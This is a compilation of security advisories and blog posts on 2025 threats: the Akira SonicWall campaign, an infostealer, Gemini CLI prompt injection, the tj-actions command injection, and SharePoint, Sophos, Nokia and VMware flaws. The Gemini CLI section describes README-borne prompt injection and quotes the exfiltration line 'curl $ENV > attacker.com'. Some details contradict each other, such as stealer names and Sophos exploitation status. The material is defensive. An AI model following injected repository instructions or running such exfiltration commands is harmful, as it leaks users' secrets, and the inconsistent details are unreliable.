Cybersecurity

Security Advisory

Zero-Day Exploitation in SonicWall Targeted by Akira Ransomware 

Summary 

A critical zero-day vulnerability is suspected in SonicWall SSL VPN appliances, which are currently being actively exploited by threat actors linked to the Akira ransomware group. These attacks began last month and exploit even fully patched devices and systems with multi-factor authentication (MFA) enabled. In many cases, attackers move quickly, encrypting victim systems within hours of gaining access. 

Detailed Observation 

The ongoing attacks targeting SonicWall SSL VPN appliances suggest the presence of a zero-day vulnerability that allows threat actors to gain unauthorized access to enterprise networks.

This exploitation may be limited to TZ and NSa-series SonicWall firewalls with SSLVPN enabled. The attack patterns indicate that the attackers may be exploiting a flaw in the VPN’s authentication or session management mechanisms which they can be able to bypass the MFA.

Security researchers also observed that the threat actors often used legitimate credentials, including recently rotated passwords, implying either credential theft or session hijacking.

These login attempts were traced back to Virtual Private Servers (VPS), a common tactic to obscure the attacker’s origin. Once threat actors on the network, they abuse the privileged accounts, then start establishing C2 and move laterally in the network, then at the last stage before deploying the ransomware they are disabling the defenses to smooth deploy.

The ransomware group suggests Akira, has been seen deploying malware and encrypting data within hours, showcasing a high level of automation and operational efficiency.

The pattern and speed of these attacks point to a well-orchestrated campaign that likely began months earlier (as early as October 2024) but surged in mid-July 2025. This level of sophistication, combined with the failure of traditional defenses, strongly supports the theory that attackers are leveraging an undisclosed vulnerability in SonicWall’s SSL VPN stack. 

Remediation: 

Until an official SonicWall patch is released, organizations should take the following immediate actions: 

  • Disable SonicWall SSL VPN if possible, especially for external access. 
  • Enforce network segmentation to limit the radius of any potential breach. 
  • Monitor access logs for suspicious login attempts (especially from VPS-hosting IP ranges). 
  • Block known malicious IPs and ASNs used in previous attacks. 
  • Rotate all VPN credentials, especially for admin or privileged users. 
  • Harden MFA configuration (though current evidence shows bypasses are possible). 
  • Enable IP reputation and botnet protection features in SonicWall firewalls. 
  • Audit all VPN user accounts, removing any inactive or unnecessary ones. 

IOCs 

Attacker IP Threat Actors used tools ASN/CIDR hosting adversary infrastructure User & Password created  
42.252.99[.]59 w.exe AS24863 – LINK-NET – 45.242.96.0/22 backupSQL (U) 
45.86.208[.]240 win.exe AS62240 – Clouvider – 45.86.208.0/22 lockadmin (U) 
77.247.126[.]239 C:\ProgramData\winrar.exe AS62240 – Clouvider – 77.247.126.0/24 Password123$ (P) 
104.238.205[.]105 C:\ProgramData\OpenSSHa.msi AS23470 – ReliableSite LLC – 104.238.204.0/22 Msnc?42da (P) 
104.238.220[.]216 C:\Program Files\OpenSSH\sshd.exe AS23470 – ReliableSite LLC – 104.238.220.0/22 VRT83g$%ce (P) 
181.215.182[.]64 C:\programdata\ssh\cloudflared.exe AS174 – COGENT-174 – 181.215.182.0/24  
193.163.194[.]7 C:\Program Files\FileZilla FTP Client\fzsftp.exe AS62240 – Clouvider – 193.163.194.0/24  
193.239.236[.]149 C:\ProgramData\1.bat AS62240 – Clouvider – 193.239.236.0/23  
194.33.45[.]155 C:\ProgramData\2.bat AS62240 – Clouvider – 194.33.45.0/24  
  • Source: huntress.com 

Conclusion: 
The exploitation of a suspected zero-day in SonicWall SSL VPN poses an immediate and critical threat to enterprise environments.

The ability of attackers to bypass authentication and deploy ransomware within hours is highly dangerous and points to a sophisticated, active campaign.

Organizations using SonicWall VPNs must take preemptive steps now, including disabling VPN access if feasible and aggressively monitoring for anomalies, until SonicWall releases a formal patch or mitigation advisory 

References: 

Blogs

New Malware Strikes on Users Data, infects Devices has bypass mechanism;

How deadly the malware is warns Researchers. Linux malware variant offers advanced features and evasion mechanisms

PSA stealer malware affected more then 4,000 computers in 62 countries

A brand new malware related to Linux  been found infecting thousands of computers around the world, stealing people’s login credentials, payment information and browser cookies, warns security researchers from SentinelLabs and Beazley Security. More than 4,000 computers were infected with PSA Stealer in 62 countries, the two companies said, suggesting that the campaign is rather successful.

As per researcher PSA Stealer is apparently being distributed through phishing emails and malicious landing pages. The malicious attachments contain a legitimate program (such as a PDF reader) and a weaponized DLL. The program sideloads the DLL, successfully deploying the malware while not raising any alarms.

More than 4,000 computers were infected with PSA Stealer in 62 countries, the two companies said, suggesting that the campaign is rather successful.

The  joint report detailing the activities of PXA Stealer, a new Python-based infostealer for the Linux platform. Spotted in late 2024, and has since grown into a formidable threat, successfully evading defense tools while wreaking havoc across the globe.

Key pointers on installing the applications /malware (Side Loading)

The malware PSA can target browser extensions for various crypto wallets, including Exodus, Magic Eden, Crypto.com and many more

Can pull data from sites such as Coinbase, Kraken, and PayPal.

Finally, it can inject a DLL into running browser instances to bypass encryption mechanisms.

PSA Stealer is apparently being distributed through phishing emails and malicious landing pages

The malicious attachments contain a legitimate program (such as a PDF reader) and a weaponized DLL. 

The program sideloads the DLL, successfully deploying the malware while not raising any alarms.

Hackers who are from Vietnamize origin are selling data selling it on the black market – in a Telegram group. The majority of the victims are located in South Korea, the US, the Netherlands, Hungary, and Austria.

So far, more than 200,000 were stolen passwords, as well as hundreds of credit card information and more than four million cookies.

Vulnerability in SAP NetWeaver recently discovered by threat researchers from from Palo Alto Networks’ Unit 42 is being exploited to deploy Linux malware is capable of running arbitrary system commands and deploying additional payloads, experts have warned.

Security researchers from Palo Alto Networks’ Unit 42 discovered a piece of malware called Auto-Color, a backdoor, from Linux and dubbed for its ability to rename itself after installation.

The researchers found it was capable of opening reverse shells, executing arbitrary system commands, acting as a proxy, uploading and modifying files.

This also include adjusting settings dynamically. It was also discovered that the backdoor remains mostly dormant if its C2 server is unreachable, effectively evading detection by staying inactive until the operator instructions arrive.

Mitigating threat from Malware

Malware is any software intentionally designed to damage, disrupt, or gain unauthorized access to computer systems. In cybersecurity the diversity of malware include viruses, worms, spyware and ransomware. Each has unique attack methods, so it’s essential to understand their nature and behavior to mitigate potential risks.

How does Malware spread & threat Malware pose?

All channels available at disposal should be monitored when we think of malware and how they spread. All types of malware can spread in various ways, using technical vulnerabilities and human inattention to infiltrate systems and networks, but some methods prove more successful than others.  Understanding how malware typically presents itself and spreads can help businesses stay vigilant against its damage.

Deceive & Defend against Malware with Mirage Cloak from IntruceptLabs

Mirage Cloak offers various deception methods to detect and stop threats before they cause damage. These methods include adding decoys to the network, deploying breadcrumbs on current enterprise assets, using baits as tripwires on endpoints, and setting up lures with intentionally misconfigured or vulnerable services or applications. The flexible framework also lets customers add new deception methods as needed.

  • Our AI-powered proactive defense system identifies potential threats in real time, giving you the upper hand in protecting your network and assets.
  • By leveraging advanced artificial intelligence, our system reduces false positives, allowing your security team to focus on genuine threats and respond effectively.
  • With machine learning capabilities, our defense system continuously learns and evolves, adapting to new attack vectors and staying ahead of cyber threats.

Do connect with us for any query: https://intruceptlabs.com/contact/

(Source: Dangerous new Linux malware strikes – thousands of users see passwords, personal info stolen, here’s what we know | TechRadar)

Blogs Security Advisory

Analyzing the newly discovered Vulnerability in Gemini CLI; Impact on Software coding

Google’s Gemini command line interface (CLI) AI agent

Its not been one month when Google’s Gemini CLI vulnerability discovered by Tracebit researchers and found attackers could use prompt injection attacks to steal sensitive data.

Google’s Gemini CLI, an open-source AI agent for coding could allow attackers exploit to hide malicious commands, using “a toxic combination of improper validation, prompt injection and misleading UX,” as Tracebit explains.

After reports of the vulnerability surfaced, Google classified the situation as Priority 1 and Severity 1 on July 23, releasing the improved version two days later.

Those planning to use Gemini CLI should immediately upgrade to its latest version (0.1.14). Additionally, users could use the tool’s sandboxing mode for additional security and protection.

Disclosure of the vulnerability

Researchers reported on vulnerability directly to Google through its Bug Hunters programme. According to a timeline provided by Tracebit, the vulnerability was initially reported to Google’s Vulnerability Disclosure Programme (VDP) on 27 June, just two days after Gemini CLI’s public release.

Impact of the vulnerability

A detailed analysis found that in the patched version of Gemini CLI, attempts at code injection display the malicious command to users. This require explicit approval for any additional binaries to be executed. This change is intended to prevent the silent execution that the original vulnerability enabled.

Tracebit’s researchers played an important role in discovering and reporting the issue which is symbol of independent security research, particularly as AI-powered tools become central to software development workflows.

LLM integral to software development but hackers are using it too

Gemini CLI integrates Google’s LLM with traditional command line tools such as PowerShell or Bash. This allows developers to use natural language prompts to speed up tasks such as analyzing and debugging code, generating documentation, and understanding new repositories (“repos”).

As developers worldwide are using LLMs to help them develop code faster, attackers worldwide are using LLMs to help them understand and attack applications faster. 

Tracebit also discovered that malicious commands could easily be hidden in Gemini CLI This is possible by by packing the command line with blank characters, pushing the malicious commands out of the user’s sight.

More vigilance required when examining and running third-party or untrusted code, especially in tools leveraging AI to assist in software development.

Through the use of LLMs, AI excels at educating users, finding patterns and automate repetitive tasks.

Sam Cox, Tracebit’s founder, says he personally tested the exploit, which ultimately allowed him to execute any command — including destructive ones. “That’s exactly why I found this so concerning,” Cox told Ars Technica. “The same technique would work for deleting files, a fork bomb or even installing a remote shell giving the attacker remote control of the user’s machine.”

Source: https://in.mashable.com/tech/97813/if-youre-coding-with-gemini-cli-you-need-this-security-update

Security Advisory

Gemini CLI Vulnerability Enables Silent Execution of Malicious Commands on Developer Systems 

Summary 

Security Advisory :

In July 2025, a critical security vulnerability was discovered in Google’s Gemini CLI, a command-line tool used by developers to interact with Gemini AI. The flaw allowed attackers to execute hidden, malicious commands without user consent by exploiting prompt injection, poor command validation and an ambiguous trust interface. 

This issue was responsibly reported and addressed with the release of Gemini CLI version 0.1.14. The incident highlights the growing need for secure integration of AI tools in software development workflows. 

Vulnerability Details 

Security researchers identified that Gemini CLI reads project context files—such as README.md—to understand the codebase. Attackers can embed malicious commands into these files using indirect prompt injection techniques. These injected payloads are often disguised within legitimate content (e.g. license text, markdown formatting) to avoid detection. 

A core issue lies in Gemini’s handling of command approvals. Gemini CLI remembers previously approved commands (e.g. grep) to avoid prompting the user repeatedly. Attackers exploited this by appending malicious commands (e.g. curl $ENV > attacker.com) to a trusted one. Since the first part is familiar, the entire command string is executed without further validation. 

To increase stealth, malicious commands are hidden using whitespace padding or formatting tricks to avoid visual detection in the terminal or logs. Researchers demonstrated this attack by cloning a poisoned public GitHub repository, which resulted in unauthorized exfiltration of credentials during Gemini CLI analysis.Initially labeled as a low-severity issue, Google elevated its classification to a high-priority vulnerability and released a fix in version 0.1.14, which now enforces stricter visibility and re-approval of commands. 

Note: By default, Gemini CLI does not enable sandboxing, so manual configuration is required to isolate execution environments from the host system. 

Attack Flow 

Step Description 
1. Craft Malicious prompt injections are embedded inside context files like README.md along with benign code. 
2. Deliver Malicious repository is cloned or reviewed by a developer using Gemini CLI. 
3. Trigger Gemini CLI loads and interprets the context files. 
4. Execution Malicious code is executed due to weak validation and implicit trust. 
5. Exfiltrate Environment variables or secrets are silently sent to attacker-controlled servers. 

Proof-of-Concept Snippet 

Source: Tracebit 

Why It’s Effective 

  • Indirect Prompt Injection: Inserts malicious instructions within legitimate files rather than in direct input, bypassing typical user scrutiny. 
  • Command Whitelist Bypass: Weak command validation allows malicious extensions of approved commands. 
  • Visual Stealth: Large whitespace and terminal output manipulation hide malicious commands from users & security Tools. 

Broader Implications 

Gemini CLI are powerful for developers, helping to automate tasks and understand code faster. But this also comes with vulnerabilities especially when these tools can run commands and interact with untrusted code. This recent example shows how important it is to stay secure when using AI assistants to analyze unknown repositories. For teams working with open-source projects or unfamiliar codebases, it’s important to have safety checks in place. This highlights the growing need for smarter, more secure AI-driven tools that support developers without putting systems at risk. 

Remediation: 

  • Upgrade Gemini CLI to version 0.1.14 or later. 
  • Enable sandboxing modes where it is possible to isolate and protect systems. 
  • Avoid running Gemini CLI against untrusted or unknown codebases without appropriate safeguards. 
  • Review and monitor command execution prompts carefully 

Conclusion: 
The Gemini CLI vulnerability underscores how prompt injection and command trust mechanisms can silently expose systems to attack when using AI tools. As these assistants become more deeply integrated into development workflows, it’s vital to adopt a “trust, but verify” approach treating AI-generated or assisted actions with the same caution as externally sourced code. 

Security, visibility and isolation should be core pillars in any team’s approach to adopting AI in DevOps and engineering pipelines. 

References: 

Security Advisory

Critical Vulnerability identified in tj-actions/branch-names’ GitHub Action workflow

Security advisory:  Patch Now! Critical Command Injection in GitHub Action tj-actions/branch-names Affects 5,000+ public repositories. 

Summary:

A critical vulnerability has been identified in the tj-actions/branch-names’ GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags.

Severity Critical 
CVSS Score 9.1 
CVEs CVE-2025-54416 
POC Available Yes 
Actively Exploited No 
Exploited in Wild No
Advisory Version 1.0 

Overview 
This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks. This is fixed in version 9.0.0

The flaw allows attackers to run any command during GitHub Actions workflows by creating specially crafted branch names or tags.  

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Command Injection in branch-names GitHub Action  CVE-2025-54416   tj-actions/branch-names GitHub Action <v8.2.1 9.1  v9.0.0 or later 

Technical Summary 

This Vulnerability puts many CI/CD pipelines at serious risk, including the possibility of stealing secrets or injecting malicious code into releases.

The vulnerability exists due to unsafe usage of the eval command in the action’s script. Although some escaping was done using printf “%q”, developers later used eval printf “%s” to unescaped values, which reintroduced command injection risks.

Any branch name containing malicious shell code can trigger execution during workflows. 

The vulnerability affects GitHub Action workflows that use tj-actions/branch-names. It allows attackers to inject and execute arbitrary shell commands by creating a branch with malicious content. The issue is caused by the unsafe use of eval when handling branch names and tags in output generation. 

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025-54416 GitHub repositories using tj-actions/branch-names < v8.2.1 Unsafe use of eval leads to command injection Attacker can run arbitrary commands, steal secrets, alter source code, or compromise workflows 

Proof of Concept (POC) 


 
Remediation: 

  • Update immediately to tj-actions/branch-names version v9.0.0 or higher. 
  • The vulnerable eval code has been replaced with safe printf usage. 
  • Review your workflows to ensure no malicious activity has occurred. 
  • Check logs for strange branch names or unexpected shell activity. 

Conclusion: 
This command injection flaw is extremely dangerous due to its simplicity and the number of projects it affects. GitHub Actions workflows that use branch names or tags from pull requests are especially at risk. Attackers don’t need access to the code just the ability to open a pull request.

All developers and security teams should act now by updating to the latest version and reviewing usage of GitHub Actions in their workflows. 

References: 

Blogs

Malware Uses AWS Lambda to collect data; Govt Org’s Across S E Asia affected by HazyBeacon

Data Stolen from various government based organizations across South east-Asia via State-Backed HazyBeacon Malware that Uses AWS Lambda was discovered and tracked by researchers Palo Alto Networks Unit 42 under the moniker CL-STA-1020.

Here “CL” stands for “cluster” and “STA” refers to “state-backed motivation, data collected include information about recent tariffs and trade disputes. The initial access vector used to deliver the malware is currently not known, although evidence shows the use of DLL side-loading techniques to deploy it on compromised hosts. Specifically, it involves planting a malicious version of a DLL called “mscorsvc.dll” along with the legitimate Windows executable, “mscorsvw.exe.”

Campaign execution flow

As per researchers backdoor leverages AWS Lambda URLs as command and control (C2) infrastructure. AWS Lambda URLs are a feature of AWS Lambda that allows users to invoke serverless functions directly over HTTPS.

This technique uses legitimate cloud functionality to hide in plain sight, creating a reliable, scalable and difficult-to-detect communication channel.

Figure 1 shows the high-level execution flow of this attack.

(Source: Behind the Clouds: Attackers Targeting Governments in Southeast Asia Implement Novel Covert C2 Communication)

Key points:

The malware is using a newly discovered Windows backdoor dubbed HazyBeacon.

Secondly, it exploits a legitimate feature of the AWS Lambda serverless compute service called Lambda URLs, to hide its malicious activities

AWS Lambda URLs are a part of AWS Lambda that allow users to invoke serverless functions directly over HTTPS.

In this attack, the HazyBeacon backdoor uses the service to establish C2 communications, allowing the actor to engage in covert intelligence gathering.

Researchers at Trellix, revealed the attacker tactic of using Lambda to obscure C2 activity in late June, noting that such obscurity “makes network-based detection nearly impossible without decryption or deep behavioral analysis,” according to their report.

During backdoor deployment, attackers also establish persistence on the compromised Windows endpoint by creating a Windows service named msdnetsvc, which ensures that the HazyBeacon DLL would be loaded even after rebooting the system.

Unit 42 included a list of indicators of compromise (IoCs) in the post to help identify a potential attack. Defenders can set their machine-learning models and analysis techniques to be triggered by those IoCs, as well as use behavioral threat protection to detect and block the execution of processes with malicious behavior in their cloud environments.

How the malware reaches out to serverless AWS Lambda endpoints

  • These URLs are hosted on cloud infrastructure that’s globally trusted
  • Traffic looks like regular HTTPS communication
  • Detection becomes near-impossible for traditional firewalls or EDRs

This use of cloud-native tools for C2 is a growing trend in advanced persistent threats (APTs).

South east Asia a focal point of target

The reason why Southeast Asia has increasingly becoming a focal point for cyber espionage mainly due various sensitive trade negotiations being done by countries, defense enhancement taken up by countries as a part of modernization and power alignment between U.S.–China.

Why threat actors chose this area via targeting government agencies as the data stolen carried various intelligence inputs that were based on foreign policy direction, infrastructure planning and various regulatory shifts that further influence the behavior of global markets.

HazyBeacon reflects a broader aspect and trend in cyber security related to advanced persistent threats using trusted platforms as covert channels.

This cloud-based malware cluster, similar techniques have been observed in threats using Google Workspace, Microsoft Teams, or Dropbox APIs to evade detection and facilitate persistent access.

Once the malware is on the system, it doesn’t want to leave. HazyBeacon registers itself as a Windows service, making sure it gets relaunched after every reboot.

Organizations who detect and mitigate this emerging threats also understand how attackers exploit cloud services for malicious purposes.

The misuse of AWS Lambda occurs when the malicious DLL, mscorsvc.dll, establishes a C2 channel through an AWS Lambda URL. AWS Lambda runs code in response to events without requiring server provisioning or management; the URLs feature, introduced in 2022, extends this functionality by providing customers with a way to configure dedicated HTTPS endpoints for Lambda functions.

Source: 🔍 Deep Dive: How State‑Backed HazyBeacon Malware is Weaponizing AWS Lambda & Steganography | by Abhay Haswani | Jul, 2025 | Medium

Security Advisory

Pre-Auth Remote Code Execution Flaws Patched in Sophos Firewall 

Summary : Sophos has resolved several critical security vulnerabilities in its Firewall products, the most severe vulnerability could allow remote code execution without authentication, potentially giving attackers full control over impacted systems.

OEM Sophos 
Severity Critical 
CVSS Score 9.8 
CVEs CVE-2025-6704, CVE-2025-7624 
POC Available No 
Actively Exploited Yes 
Exploited in Wild Yes 
Advisory Version 1.0 

Overview 

To address the issue, the Sophos has issued hotfixes for five separate vulnerabilities. Two of these are rated as critical and present a serious threat to enterprise networks around the globe. 

                Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Arbitrary file writing vulnerability in Secure PDF eXchange (SPX) feature  CVE-2025-6704 Sophos Firewall Critical   SFOS 21.0 MR2 (21.0.2) and later 
SQL injection vulnerability in legacy SMTP proxy CVE-2025-7624 Sophos Firewall Critical SFOS 21.0 MR2 (21.0.2) and later 

Technical Summary 

The CVE-2025-6704 and CVE-2025-7624 are identified in Sophos Firewall versions prior to 21.0 MR2 (21.0.2), both with a CVSS v3.1 base score of 9.8, indicating critical severity.  

The CVE-2025-6704 involves an arbitrary file writing vulnerability within the Secure PDF eXchange (SPX) feature.

SPX is enabled and the firewall operates in High Availability (HA) mode, attackers can exploit this flaw to execute arbitrary code remotely without authentication. This pre-authentication remote code execution can lead to full system compromise, affecting confidentiality, integrity and availability. 

CVE-2025-7624 pertains to an SQL injection vulnerability in the legacy (transparent) SMTP proxy of Sophos Firewall. If a quarantining policy is active for email and the system was upgraded from a version older than 21.0 GA, this weakness could potentially allow remote code execution.

Exploitation of this flaw can lead to unauthorized access, manipulation of firewall configurations, and potential lateral movement within the network. 

CVE ID System Affected  Vulnerability Details Impact 
 CVE-2025-6704 v21.5 GA and older A rare SPX feature flaw in HA mode can allow pre-auth remote code execution, affecting 0.05% of devices.  Pre-auth remote code execution (RCE) in Sophos Firewall SPX feature 
CVE-2025-7624 v21.5 GA and older An SQL injection in the legacy SMTP proxy can enable remote code execution if email quarantine is active and SFOS was upgraded from pre-21.0 GA. It affects up to 0.73% of devices. Remote code execution via SMTP proxy 

In addition to the Critical Severity vulnerabilities, two other High and one medium severity issues were addressed. 

CVE-2025-7382 – Command Injection in WebAdmin Interface (CVSS 8.8) 

A WebAdmin command injection flaw allows adjacent pre-auth code execution on HA auxiliary devices if admin OTP is enabled.  

CVE-2024-13974 – Business Logic Vulnerability in Up2Date Component (CVSS 8.1) 

 A business logic flaw in Up2Date lets attackers control firewall DNS to enable remote code execution. 

CVE-2024-13973 – Post-Auth SQLi Vulnerability in WebAdmin (CVSS 6.8) 

A post-auth SQL injection in WebAdmin allows admins to execute arbitrary code. 

Remediation: 

Users should immediately update Sophos Firewall to the latest patched version: 

  • For CVE-2025-6704, CVE-2025-7624, CVE-2025-7382: Upgrade to Sophos Firewall 21.0 MR2 (21.0.2) or later. 
  • For CVE-2024-13974 and CVE-2024-13973: Upgrade to Sophos Firewall 21.0 MR1 (20.0.1) or later. 

If you are not using the Secure PDF eXchange (SPX) feature or legacy SMTP proxy, consider disabling them until they are patched. 

Users operating legacy versions prior to the supported range must upgrade their systems to receive these critical security protections and maintain adequate defense against potential exploitation attempts.

Conclusion: 
In Sophos Firewalls that allow attackers to execute code remotely without logging in. Although only a small percentage of devices are affected, the flaws are serious.

Fortunately, Sophos quickly pushed automatic fixes, and no attacks have been seen so far. Users should verify their firewalls are fully updated and have auto update enabled to stay protected. 

The impact scope for this vulnerability reaches up to 0.73% of deployed devices. Both critical vulnerabilities were discovered and responsibly disclosed through Sophos’ bug bounty program by external security researchers.

References: 

Security Advisory

Critical Remote Code Execution in Nokia WaveSuite NOC 

Summary : Security Advisory: Two command injection vulnerabilities have been found in Nokia’s WaveSuite Network Operations Center (WS-NOC), a key tool used to manage telecom and enterprise networks.

OEM Nokia 
Severity Critical 
CVSS Score 9.0 
CVEs CVE-2025-24936, CVE-2025-24938   
POC Available No 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 

These vulnerabilities allow attackers with limited access to run malicious commands on the system’s operating system. The vulnerabilities affect WS-NOC versions 23.6, 23.12, and 24.6. Nokia has released fixes in version 24.6 FP3 and newer. 

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
​ Command Injection Vulnerability  CVE-2025-24936 Nokia WS-NOC  Critical  v24.6 FP3 & later 
​ Command Injection Vulnerability  CVE-2025-24938 Nokia WS-NOC  High  v24.6 FP3 & later 

Technical Summary 

The first vulnerability, CVE-2025-24936, CVSS- 9.0 due to the system doesn’t properly check parts of a web address (URL). The attacker with low privileged access can trick the system into running malicious commands, as if they were part of the system itself. As this flaw has been published, attackers can remotely target exposed or inadequately secured administrative pages. 

The second issue, with the CVE-2025-24938, CVSS- 8.4 affects to new user accounts are created through the web interface. In this case, with high privileged access – administrators can intentionally enter harmful commands because their input isn’t being filtered properly. 

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025- 24936 WS-NOC 23.6, 23.12, 24.6 Unfiltered URL input enables command injection by low-privileged users. Remote code execution 
CVE-2025- 24938 WS-NOC 23.6, 23.12, 24.6 Insufficient input validation during account creation enables command injection. Privilege escalation, Remote code execution 

Remediation: 

  • Immediate Action: Upgrade WS-NOC to version 24.6 FP3 or latest one to mitigate both vulnerabilities. 

Recommendations: 

  • Configuration Check: Restrict admin panel and WS-NOC access to trusted, internal networks only. 
  • Environment Hardening: Regularly audit user privileges, conduct input validation reviews, and deploy security monitoring for unusual command executions originating from the WS-NOC application. 

Conclusion: 

CVE-2025-24936 and CVE-2025-24938 are critical command injection vulnerabilities in Nokia WaveSuite NOC, which is used in telecom systems around the world. These vulnerabilities allow attackers to execute malicious commands with limited access. As these systems are part of critical infrastructure, prompt patching is essential to prevent potential remote attacks and network disruption. 

References: 

Security Advisory

ToolShell Zero-Day Exploits in Microsoft SharePoint Enable Full Remote Takeover 

Summary : Security Advisory


Two newly discovered zero-day vulnerabilities (CVE-2025-53770 and CVE-2025-53771) in Microsoft SharePoint Server are being actively exploited in the wild.

There is currently no patch available to plug this security hole, but Microsoft says that customers running on-premises SharePoint Servers can stop attackers from exploiting the vulnerability by configuring Antimalware Scan Interface (AMSI) integration in SharePoint and deploying Defender AV on all SharePoint servers.

OEM Microsoft 
Severity Critical 
CVSS Score 9.8 
CVEs CVE-2025-53770, CVE-2025-53771 
Actively Exploited Yes 
Exploited in Wild Yes 
Advisory Version 1.0 

Overview 

These flaws allow unauthenticated remote code execution on on-premises servers, bypassing authentication and gaining full control over affected systems. Microsoft has released urgent security updates for supported SharePoint versions to address this issue. 

                   Vulnerability Name CVE ID Product Affected Severity CVSS Score 
SharePoint Server Remote Code CVE-2025-53770 SharePoint Server (on-prem) Critical 9.8 
Execution Vulnerability CVE-2025-53771 SharePoint Server (on-prem) Medium 6.3 

Technical Summary 

The vulnerabilities CVE-2025-53770 and CVE-2025-53771 stem from insecure handling of cryptographic key material and deserialization logic in on-premises Microsoft SharePoint Servers. These flaws enable a chained remote code execution attack dubbed ToolShell, where an unauthenticated attacker can gain full control of vulnerable servers. 

ToolShell is a sophisticated evolution of vulnerabilities CVE-2025-49704 and CVE-2025-49706, which were disclosed and patched in early July 2025 following demonstrations at Pwn2Own Berlin. Within days, attackers had bypassed these initial patches, forcing Microsoft to issue updated patches with new CVEs (53770, 53771). These latest variants are actively exploited in the wild. 

The exploit begins with a crafted request to the SharePoint endpoint /ToolPane.aspx, which exposes the internal configuration mechanism. By exploiting deserialization weaknesses, attackers extract cryptographic secrets, specifically the ValidationKey and DecryptionKey  which are used to sign the VIEWSTATE payloads. 

With these secrets, an attacker can generate malicious, signed payloads that are trusted by SharePoint’s security model, allowing arbitrary code execution without any authentication. This effectively turns SharePoint’s trust mechanism into a delivery vector for persistent compromise. 

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025-53770 SharePoint 2016, 2019 Exploits deserialization in /ToolPane.aspx to steal crypto keys and craft signed __VIEWSTATE payloads Remote Code Execution, full system compromise 
CVE-2025-53771 SharePoint 2016, 2019 Variant of CVE-2025-49706; bypasses earlier fixes using enhanced payload injection techniques Persistent access without credentials 

Remediation: To mitigate potential attacks customers should follow:

Organizations running on-premises Microsoft SharePoint Servers must take the following steps immediately: 

  1. Apply Security Updates: 
  • SharePoint Subscription Edition: KB5002768 
  1. Enable AMSI Protection: 
  • Enable Antimalware Scan Interface (AMSI) in Full Mode for SharePoint. 
  • AMSI was turned on by default in Sept 2023 updates for 2016/2019. 
  1. Rotate Cryptographic Keys: 
  • Use Update-SPMachineKey (PowerShell) or Central Admin. 
  • Restart IIS using iisreset.exe after key rotation. 
  1. Deploy Endpoint Protection: 
  • Use Microsoft Defender for Endpoint or equivalent XDR tools. 

CISA Alert and Advisory Inclusion: 

The Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2025-53770 to its Known Exploited Vulnerabilities (KEV) catalog. Federal agencies and private-sector partners are required to apply mitigations immediately due to confirmed active exploitation. CISA emphasized that such vulnerabilities pose an unacceptable risk to federal systems and critical infrastructure. 

Indicators of Compromise (IOCs): 

Type Value (Obfuscated/Generalized) Description 
IP Address 107.191.58[.]76, 104.238.159[.]149 Observed in initial and second attack waves 
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 User-Agent string seen in exploitation requests 
URL Path POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx Exploit entry point targeting ToolPane 

Conclusion: 
The ToolShell exploit chain represents a critical security threat to organizations using on-premises SharePoint Servers.

The vulnerabilities are not theoretical, attackers are actively exploiting them to gain full control of systems, exfiltrate cryptographic secrets and establish long-term persistence. With official patches now available, immediate action is required to prevent compromise, contain exposure and ensure ongoing system integrity. 

References: 

Security Advisory

Critical Zero-Day Vulnerabilities in VMware Exploited at Pwn2Own 2025 – Patch Immediately  

Summary : VMware fixed four vulnerabilities in VMware ESXi, Workstation, Fusion and VMware Tools that were exploited as zero-days during the Pwn2Own Berlin 2025 hacking contest in May 2025.

OEM Broadcom 
Severity Critical 
CVSS Score 9.3 
CVEs CVE-2025-41236, CVE-2025-41237, CVE-2025-41238, CVE-2025-41239 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 
These vulnerabilities, now tracked as CVE-2025-41236, CVE-2025-41237, CVE-2025-41238 and CVE-2025-41239, could allow attackers with local administrative privileges on a virtual machine to execute arbitrary code on the host system or leak sensitive memory content.

VMware has released critical patches for affected products, including ESXi 7/8, Workstation Pro 17.x, Fusion 13.x and VMware Tools. 

                   Vulnerability Name CVE ID Product Affected Severity Fixed Version 
VMXNET3 Integer Overflow CVE-2025-41236 ESXi, Workstation, Fusion Critical (CVSS 9.3) ESXi80U3f-24784735, ESXi70U3w-24784741, ESXi80U2e24789317, 
Workstation 17.6.4, Fusion 13.6.4 
VMCI Integer Underflow CVE-2025-41237 ESXi, Workstation, Fusion Critical (CVSS 9.3) Same as above 
PVSCSI Heap Overflow CVE-2025-41238 ESXi, Workstation, Fusion Critical (CVSS 9.3) Same as above 
vSockets Info Disclosure CVE-2025-41239 ESXi, Workstation, Fusion,  VMware Tools High (CVSS 7.1) VMware Tools 13.0.1.0, same ESXi/Workstation/Fusion versions 

Technical Summary 

These vulnerabilities impact key virtualization components, potentially enabling virtual machine breakout or data leakage from the host system.

The exploitation requires local admin privileges on the guest VM and varies in impact depending on the platform (ESXi, Workstation, or Fusion). 

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025-41236 ESXi 7/8, Workstation 17.x, Fusion 13.x Integer overflow in VMXNET3 adapter allows arbitrary code execution on the host via specially crafted network packets from a guest VM. Host code execution from guest VM 
CVE-2025-41237 Same as above Integer underflow in VMCI component can lead to out-of-bounds write and code execution in the VMX process on the host. VM breakout; Host compromise (Workstation/Fusion) 
CVE-2025-41238 Same as above Heap overflow in the PVSCSI controller allows out-of-bounds write more severe on Workstation/Fusion than ESXi due to sandbox restrictions. Host compromise (desktop platforms); limited on ESXi 
CVE-2025-41239 ESXi 7/8, Workstation 17.x, Fusion 13.x,  VMware Tools Use of uninitialized memory in vSockets allows information disclosure to attackers with local VM admin rights. Memory leak from host to guest 

Remediation: 

Users and administrators are strongly advised to immediately apply the following patches to mitigate the vulnerabilities: 

